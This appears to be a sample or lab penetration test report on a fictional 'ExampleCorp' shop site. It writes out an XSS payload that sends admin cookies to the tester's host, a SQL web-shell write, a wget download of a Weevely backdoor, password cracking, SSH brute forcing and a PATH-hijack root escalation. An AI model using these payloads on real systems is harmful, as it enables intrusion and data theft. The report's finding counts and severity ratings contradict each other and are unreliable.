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Report Outline

Introduction

This report documents the results of a security assessment conducted by IVASTA Security 

against  the  ExampleCorp  application  operated  by  ExampleCorp.  The  purpose  of  this 

engagement  was  to  evaluate  the  security  posture  of  the  target  environment  by 

identifying vulnerabilities that could be exploited by a malicious actor.

The  assessment  was  performed  in  a  controlled  and  authorized  manner  using  a 

combination  of  automated and manual  testing  techniques.  The findings  in  this  report 

provide a clear, evidence-based view of the risks present within the application, together 

with  actionable  remediation  guidance  to  support  risk  reduction  and  secure  system 

operation.

Objective

The objective of  this  engagement  was to perform an external  penetration test  of  the 

ExampleCorp  web application and its associated APIs. The assessment was designed to 

simulate the actions of a real-world attackers operating without prior access to internal 

systems.

IVASTA Security was engaged to identify security weaknesses, validate the effectiveness of 

existing  controls,  and  determine  the  potential  business  impact  of  exploitable 

vulnerabilities.  The  results  of  this  assessment  are  intended  to  support  ExampleCorp  in 

improving the overall security and resilience of the platform.

Components

This report is structured to provide both technical and non-technical stakeholders with a 

clear  and actionable  understanding of  the security  posture  of  the assessed system.  It 

contains the following sections:
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• Executive  summary  and  risk  overview  intended  for  management  and  business 
stakeholders

• Description of the assessment scope, objectives, and testing methodology

• Detailed findings, including technical descriptions, impact analysis,  and remediation 
guidance

• Step-by-step reproduction guidance and supporting evidence, including screenshots, 
where applicable

Each section is designed to support informed decision-making, vulnerability remediation, 

and ongoing security improvement.

Table of Contents

Report Outline......................................................................................................................................... 1

Table of Contents....................................................................................................................................2

Executive Summary.................................................................................................................................3

Security Posture....................................................................................................................................... 4

Methodology........................................................................................................................................... 6

Tools Utilized.............................................................................................................................................6

Detailed Findings..................................................................................................................................... 7

Recommendations............................................................................................................................... 52

Conclusion.............................................................................................................................................52

Disclaimer............................................................................................................................................... 53

ExampleCorp Platform | Web Application Penetration Test Report | IVASTA Security | January 25, 2026      Page 2 of 31



ExampleCorp – Web Application Penetration Test Report – IVASTA Security
___________________________________________________________________________________________

Executive Summary

IVASTA Security was tasked with performing an external Web Application Penetration Test 

of the ExampleCorp system provided by ExampleCorp. The test was conducted against 

the target over the period from 1/18/2026 to 1/25/2026.

The overall objective was to evaluate the security posture of the in-scope application and 

its associated interfaces, identify exploitable vulnerabilities, and report the findings back to 

ExampleCorp.  All  activities  were  performed  in  an  authorized  and  controlled  manner 

designed to simulate the actions of a real-world attackers operating without privileged 

internal access.

These activities  were executed with  no prior  knowledge of  the provided application’s 

security state. During the engagement, IVASTA Security were able to successfully identify 2 

critical, 2 high, 2 medium, and 1 low security issues.

The assessment  identified security  weaknesses  within  the application that,  if  exploited, 

could enable unauthorized actions,  manipulation of business workflows, or exposure of 

sensitive information. Such issues may impact the confidentiality, integrity, and availability 

of  data  and  services,  and  could  also  introduce  reputational  and  operational  risk  for 

ExampleCorp.
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Severity

Critical High Medium Low Info

The overall security posture indicates opportunities for improvement, primarily related to 

issues such as Stored Cross Site Scripting (XSS) and SQL Backdoor Injection Vulnerabilities in 

application  workflows.  Each  identified  vulnerability  has  been  categorized  by  severity 

based on the likelihood of exploitation and potential business impact: Critical/High (urgent 

action  required),  Medium  (action  required),  Low  (action  recommended  but  not 

immediate), and Informational (no immediate action required, but relevant to note).

In conclusion, based on the results of the assessment, IVASTA Security determined that the 

current  external  security  posture  is  rated  as  “High  Risk  –  Immediate  Remediation 

Required”. It is recommended that ExampleCorp prioritize remediation of Critical and High 

findings first (if applicable), followed by Medium and Low findings, and continue to assess 

and improve security controls through regular testing and secure development practices 

to maintain a strong security posture and minimize potential risk.
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Security Posture

The scope of this engagement was to assess the security of the ExampleCorp application 

and its associated interfaces, as operated by ExampleCorp. The objective was to identify 

vulnerabilities that could be exploited by an external attacker and to provide actionable 

guidance for reducing security risk and improving the overall security posture.

The assessment was conducted as an authorized Web Application Penetration Test 

against the in-scope systems using standard offensive security methodologies and tooling. 

The following targets and test accounts were provided by ExampleCorp for the purpose of 

this assessment:

The following is a brief overview of the identified system's vulnerabilities:

 Stored Cross-Site Scripting (XSS)

 SQL Backdoor Injection

 Vertical Privilege Escalation

Overall Security Rating – High Risk – Immediate Remediation Required
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Methodology

IVASTA  Security  conducted  this  assessment  using  a  structured  penetration  testing 

methodology aligned with industry best practices. The objective of this methodology is to 

simulate the behavior of a real-world attackers while maintaining control, repeatability, 

and safety throughout the engagement. The following phases were applied during the 

assessment:

 Information Gathering – Identification and enumeration of in-scope systems, services, 

and exposed interfaces. 

 Vulnerability Analysis – Analysis of the attack surface to identify potential security 

weaknesses and misconfigurations. 

 Exploitation – Controlled attempts to validate the existence and impact of identified 

vulnerabilities.

 Post-Exploitation – Assessment of the potential impact of successful exploitation, 

including data access and privilege escalation where applicable.

 Cleanup – Verification that no test artifacts, accounts, or data remained in the 

environment following completion of the assessment.

Tools Utilized

IVASTA Security used a combination of commercial, open-source, and internally 

developed security testing tools during this assessment. These tools were selected to 

support reconnaissance, vulnerability identification, exploitation, and validation of findings 

across the in-scope systems. Some of them are: 

1. Burp Suite Professional – Best in-class suite of tools for web application assessment

ExampleCorp Platform | Web Application Penetration Test Report | IVASTA Security | January 25, 2026      Page 6 of 31

Information 
Gathering

Vulnerability 
Analysis Exploitation Post 

Exploitation
House 

Cleaning



ExampleCorp – Web Application Penetration Test Report – IVASTA Security
___________________________________________________________________________________________

2. Burp Suites Clickbandit – Tool for quicker and easier testing for clickjacking 

vulnerabilities

3. Nikto – Web server auditing tool for information gathering and vulnerability analysis

4. Nuclei – A fast, efficient, and extensible vulnerability scanner

5. Dirb – Directory and web files enumeration tool

6. Sqlmap – An open-source penetration testing tool that automates the process of 

detecting and exploiting SQL injection flaws

7. Arjun – HTTP Parameter Discovery Suite 

8. Wappalyzer – A technology profiler that shows you what websites are built with.

9. And many more.
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Detailed Findings

1. Stored Cross-site scripting (XSS) – CRITICAL

• System Vulnerable – examplecorp.com

• Vulnerability – Stored Cross-Site Scripting (XSS)

• Severity Rating – High

• Payload Used – <script>document.write('<img 

src="http://192.168.1.107/'+document.cookie+'" />');</script>

Description

Page “Buynow.php” running on Port 80 is vulnerable to Stored Cross-Site Scripting.

Impact

An attacker can control a script that is executed in the victim's browser from which they can 

potentially fully compromise that user. Stored cross-site scripting (also known as second-

order or persistent XSS) arises when an application receives data from an untrusted source 

and includes that data within its later HTTP responses in an unsafe way. [1] 

Remediation

Option 1: Ensure that all variables go through validation and are then escaped or 

sanitized.

Option 2: Convert untrusted input into a safe form where the input is displayed as data to the user 

without executing as code in the browser.
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Steps to Reproduce

 My initial Rust scan revealed 3 open ports and detected CentOS on the target.
Command Used: rustscan -a examplecorp.com --ulimit 5000 -- -A

ExampleCorp Platform | Web Application Penetration Test Report | IVASTA Security | January 25, 2026      Page 9 of 31

Server IP Host name Ports Open

examplecorp.com /

192.168.1.108

TCP: 22,80,443

UDP:



ExampleCorp – Web Application Penetration Test Report – IVASTA Security
___________________________________________________________________________________________

 Manually identified Stored XSS vulnerable form expecting user billing information.
Found URL: http://examplecorp.com/buynow.php 

 Set up a local web server in order to receive back a connection from the victim‘s 
browser containing the confidential information (web cookie). 

Command Used: python3 -m http.server 80

 It seems that there is an admin checking the orders and the billing address 
information from some kind of admin portal. In order to get the admin cookie, we 

submit the billing details from step 2 with every field set to 
<script>document.write('<img src="http://192.168.1.107/'+document.cookie+'" />');</script>  

Moreover, we get a connection back containing the admin cookie: 

After URL decoding it with Burp, we get the actual value from the cookie:

 Performing directory/file brute forcing we manage to identify hidden directories 
and files. It seems that there is a forgotten admin login portal 

(http://examplecorp.com/_admin/dist/login.html) which may lead us to some 
sensitive information. 

Command Used: dirb http://examplecorp.com
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 Injecting the discovered PHP cookie into our browser session and logging in with 
username: admin & password: any, gives us access to the admin portal of the 

vulnerable shop application. 
Credentials Used: username:admin, password:any, 

PHPSESSID=ldhtq184b0mpaealhpuur2kf0k
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2. SQL Backdoor Command Injection – CRITICAL

• System Vulnerable – examplecorp.com

• Vulnerability – SQL Backdoor Command Injection 

• Severity Rating – High

• Payload Used – select "<?php system($_GET[cmd]);?>" INTO DUMPFILE 

'/var/www/html/shell.php'

Description

Database Admin within Admin Portal on Port 80 is vulnerable to SQL Backdoor Command 

Injection.

Impact

SQL injection attacks are a type of injection attack, in which SQL commands are injected 

into data-plane input in order to affect the execution of predefined SQL commands [2]. 

This can result in confidentiality, availability and integrity violation of organizational data 

and systems.

Remediation

Option 1: A sure way to prevent SQL Injection attacks is input validation and 

parameterized queries including prepared statements. Making sure that all variables go 

through validation and are then escaped or sanitized is known as perfect injection 

resistance.

Option 2: Escape user input by prepending a backslash (\) to special characters such as ‘/$%”, 

which then causes them to be parsed just as a regular string and not a special character.
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Steps to Reproduce

 Manually identified Database Admin page allowing to execute deleting and 
archiving SQL commands. 

Found URL: http://examplecorp.com/_admin/dist/manage.php

 Archiving data suggests for commands that can archive tables into files. Moreover, 
this enables us to write to web root which may lead to a web shell execution [3]. 

Payload Used: select "<?php system($_GET[cmd]);?>" INTO DUMPFILE 
'/var/www/html/shell.php'

 Performing a simple check for the above-mentioned file (shell.php) within all known 
directories and sub-directories resulted in finding our web shell. This initiated the 
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beginning of OS command execution. 
Found path: http://examplecorp.com/shell.php?cmd=id

 Deploy Weevely payload to get a better interactive web shell. 
Commands Used: 

 weevely generate 1234 shell1.php – generates the weevely 
payload with password 1234

 python3 -m http.server 80 – host local web server

 http://examplecorp.com/shell.php?cmd=wget 
http://192.168.1.107/shell1.php - downloads the payload on the 
vulnerable machine

 weevely http://examplecorp.com/shell1.php 1234 - We connect 
to our payload and receive a semi-interactive web shell

 Moreover, we manage to capture flag1.txt  
(WPamTh2Y9uMdphb6z0cp)
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3. Horizontal privilege escalation – HIGH

• System Vulnerable – examplecorp.com

• Vulnerability – Horizontal Privilege Escalation

• Severity Rating – High

• Methods Used – DB Username/Password information gathering and hash cracking

Description

The machine is vulnerable to sensitive data disclosure and a weak password policy.

Impact

Sensitive data disclosure allows an attacker to potentially gain access to different services 

or users within the system. Also, a system that is using a weak password policy is potentially 

vulnerable to brute force attack using a subset of all possible passwords, such as words in 

the dictionary, proper names or words based on the username.

Remediation

Option 1: Audit the configuration files for potential information disclosure. Therefore, don’t store 

credentials in files.

Option 2: The strongest defense against password-based attacks nowadays is multi-factor 

authentication (MFA) [4]. You should use more complicated passwords.
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Steps to Reproduce

 Looking through the folders, we find a config.php file disclosing the Database 
username and password. 

Command Used: cd /var/www/html/settings; cat config.php;

 Upload Adminer.php to the web root for more convenient web browser Database 
access. 

Commands Used: cd /var/www/html; wget http://192.168.1.107/adminer.php;

 Access adminer.php from the browser and login with the already disclosed 
Database sensitive information – Username/Password/Database name.

Found URL: http://examplecorp.com/adminer.php
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 Logging in shows us 2 tables – orders and users. The orders table confirms the Stored 
XSS vulnerability and the application orders. The users’ table discloses information 

for 2 users – admin and m0n3y6r4bb3r. 
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 Perform hash cracking using Hashcat to crack the m0n3y6r4bb3r password. The 
password turns out to be delta1.

Command Used: hashcat -m 3200 
'$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC' 

/usr/share/wordlists/rockyou.txt --force

 Moreover, brute forcing the SSH login with rockyou.txt wordlists would achieve the 
same result.

Commands Used: hydra -v -l moneygrabber -P /usr/share/wordlists/rockyou.txt 
examplecorp.com ssh -Vv -t 10

 Enumerating the /etc/passwd file provides us with 3 system users that have bash 
access – root, admin and moneygrabber. We can get a successful login as 

moneygrabber:delta1 via port 22 (SSH).
Commands Used: cat /etc/passwd | grep bash; ssh 

moneygrabber@examplecorp.com
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 We now have successfully moved laterally to user moneygrabber and can obtain 
flag2.txt (9N8U10EAVU10cbSZPCRv). 
Command Used: cd ~; cat flag2.txt;
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4. Vertical Privilege Escalation – HIGH

• System Vulnerable – examplecorp.com

• Vulnerability – Privilege Escalation   and   Path Misconfiguration   

• Severity Rating – High

• Methods Used – Linux Manual System Enumeration

Description

An SUID binary is vulnerable to elevating unnecessary privileges via misconfigured 

executable usage.

Impact

A misconfigured SUID binary allows an internal attacker to elevate to root privileges and 

run system commands. This results in full confidentiality, availability and integrity violation of 

organizational data within the system.

Remediation

Option 1: Ensure that all scripts used in SUID executables are run with their corresponding 

absolute path in order to achieve path hijacking protection. 

Option 2: Make sure that the folders, where these SUID executables are located, are non-writable 

for other users.
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Steps to Reproduce

 Looking through the available executable SUID binaries for the user moneygrabber, 
we notice a custom-made binary (backup) located in /usr/bin folder. FYI: SUID, 

known as (Set User ID), is a special Linux type permission that allows a user to run a 
file with the same level of permission as the file owner [5].

Command Used: find / -type f -perm -u=s 2>/dev/null

 After that, we try to understand what does the binary do. We can achieve this with 
the help of the Strings command. Reading through the lines, we notice it executes 

another binary - /home/moneygrabber/backup.sh
Command Used: strings /usr/bin/backup
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 Since backup.sh is located within our home directory, we may be able to read its 
content. Doing so results in some kind of MySQL backup.
Command Used: cat /home/moneygrabber/backup.sh

 We notice that the tar command is executed without its absolute path. This is 
potentially very dangerous because we may be able to craft our own “tar“ 

executable that can be executed with the owner (root) privileges. We can edit the 
PATH environmental variable and put in the folder “/tmp” to which we have write 
access. Therefore, the script will first look for “tar” binary in the tmp folder which will 

trigger our malicious executable with root privileges.
Commands Used: 

1. cd /tmp – change to a writable directory
2. echo “/bin/bash” > tar – create custom bash binary
3. chmod +x tar – make the custom binary executable
4. export PATH=”/tmp:$PATH” – export the /tmp folder to the env. 
var. PATH
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 Next, we simply run the original SUID backup binary which will execute with root 
privileges and trigger our maliciously crafted shell binary. Moreover, we receive root 

access to the machine and we can successfully capture flag3.txt 
(y2zmGeGjrA4dbDj4wBWr)

Commands Used: 
1. /usr/bin/backup

           2. cd /root
3. cat flag3.txt
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Recommendations

It  is  strongly  recommended that  all  vulnerabilities  identified  during  this  assessment  be 

remediated in a timely manner, with priority given to Critical and High-severity findings, as 

these  pose  the  greatest  risk  to  the  confidentiality,  integrity,  and  availability  of  the 

application and its data.

While detailed technical remediation guidance is provided for each individual issue in the 

“Detailed Findings” section of this report, the following high-level security practices should 

be adopted to strengthen the overall security posture of the ExampleCorp environment:

1. Establish a Structured Patch and Update Program: Implement a formal patch 

management process to ensure that operating systems, application frameworks, 

and third-party libraries are kept up to date with the latest security fixes.

2.  Secure  Software  Development  and  Code  Review:  Integrate  secure  coding 

standards and regular source code reviews into the development lifecycle, with 

emphasis on input validation, authentication, and access control.

3. Alignment with Industry Best Practices: Ensure that security policies and technical 

controls  are  aligned  with  recognized  standards  such  as  OWASP,  NIST,  and  ISO 

27001.

4.  Continuous  Vulnerability  Management:  Perform  regular  vulnerability  scanning 

and periodic penetration testing using a “Scan – Patch – Re-Scan” approach to 

detect and remediate newly introduced vulnerabilities.

Note: The application should remain under a continuous security maintenance program, 

as new vulnerabilities are regularly discovered in both application code and underlying 

technologies.  Ongoing testing  and proactive  patching  are  essential  to  maintaining  a 

strong security posture.
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Conclusion

The ExampleCorp platform, which includes a  web application and supporting API, was 

assessed as part of this penetration test engagement. During the assessment, a total of 6 

security findings were identified, including 2 Critical, 2 High, 1 Medium, and 1 Low issues.

These vulnerabilities indicate that weaknesses exist within the application that could be 

exploited by malicious actors to gain unauthorized access, compromise sensitive data, or 

disrupt business operations.  In several  cases,  the identified issues could also serve as a 

starting point for more advanced attack chains if left unaddressed.

The overall risk identified to the Web Application and API as a result of this penetration test  

is considered to be  Critical, meaning that immediate remediation is required to reduce 

the likelihood of exploitation.

In  addition  to  the  individual  vulnerabilities,  several  recurring  security  patterns  were 

observed across the platform. The most significant issues were primarily related to Stored 

Cross-Site  Scripting (XSS),  SQL Backdoor  Injection,  and Horizontal  and Vertical  Privilege 

Escalation Vulnerabilities, indicating weaknesses in how application logic, validation, and 

security controls are enforced across key workflows.

The majority of the identified issues can be mitigated through relatively straightforward 

technical  and  procedural  changes.  However,  addressing  even  lower-severity 

vulnerabilities is important, as they can be combined with other weaknesses to enable 

more serious exploitation.

In  conclusion,  IVASTA  Security  strongly  recommends  that  the  client  remediate  the 

identified  issues  and  adopt  a  proactive  security  improvement  strategy  to  ensure  the 

platform remains resilient against evolving threats and to protect both business operations 

and customer data.
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Disclaimer

Penetration  testing  is  an  uncertain  process  which  is  based  upon  past  experiences, 

currently  available  information,  and  known  threats.  It  should  be  understood  that  all 

information  security  systems,  which  by  their  nature  are  dependent  on  their  human 

operators,  are  vulnerable  to  some  degree.  While  IVASTA  Security  has  made  every 

reasonable effort to identify material security weaknesses within the assessed environment, 

no assurance can be given that all  vulnerabilities have been discovered or that future 

vulnerabilities  will  not  emerge.  This  report  identifies  known  vulnerabilities  that  were 

detected during the test period.

Here is a brief list of the checked vulnerabilities, covering both automated and manual 

approaches for the following attacks:

 Performed automated scanning through BurpSuite Professional

 Reflected, stored and dom-based XSS

 Insecure direct object reference (IDOR)

 Broken function level access control (BFLA)

 Broken object level access control (BOLA)

 Mass assignment

 Improper asset management

 Account Privilege Escalation

 SQL Injection (SQLi)

 Local file inclusion / Remote file inclusion (LFI/RFI)

 XML External Entity (XXE)

 Server-Side Template Injection (SSTI)

 Client-Side Template Injection (CSTI)

 File upload vulnerabilities

 Lack of resources and rate limiting
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 Excessive data exposure

 JavaScript analysis

 Lack of resources and rate limiting

 Excessive data exposure

 And many more.
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Thank you, ExampleCorp, for selecting the 
penetration testing services of IVASTA 

Security.
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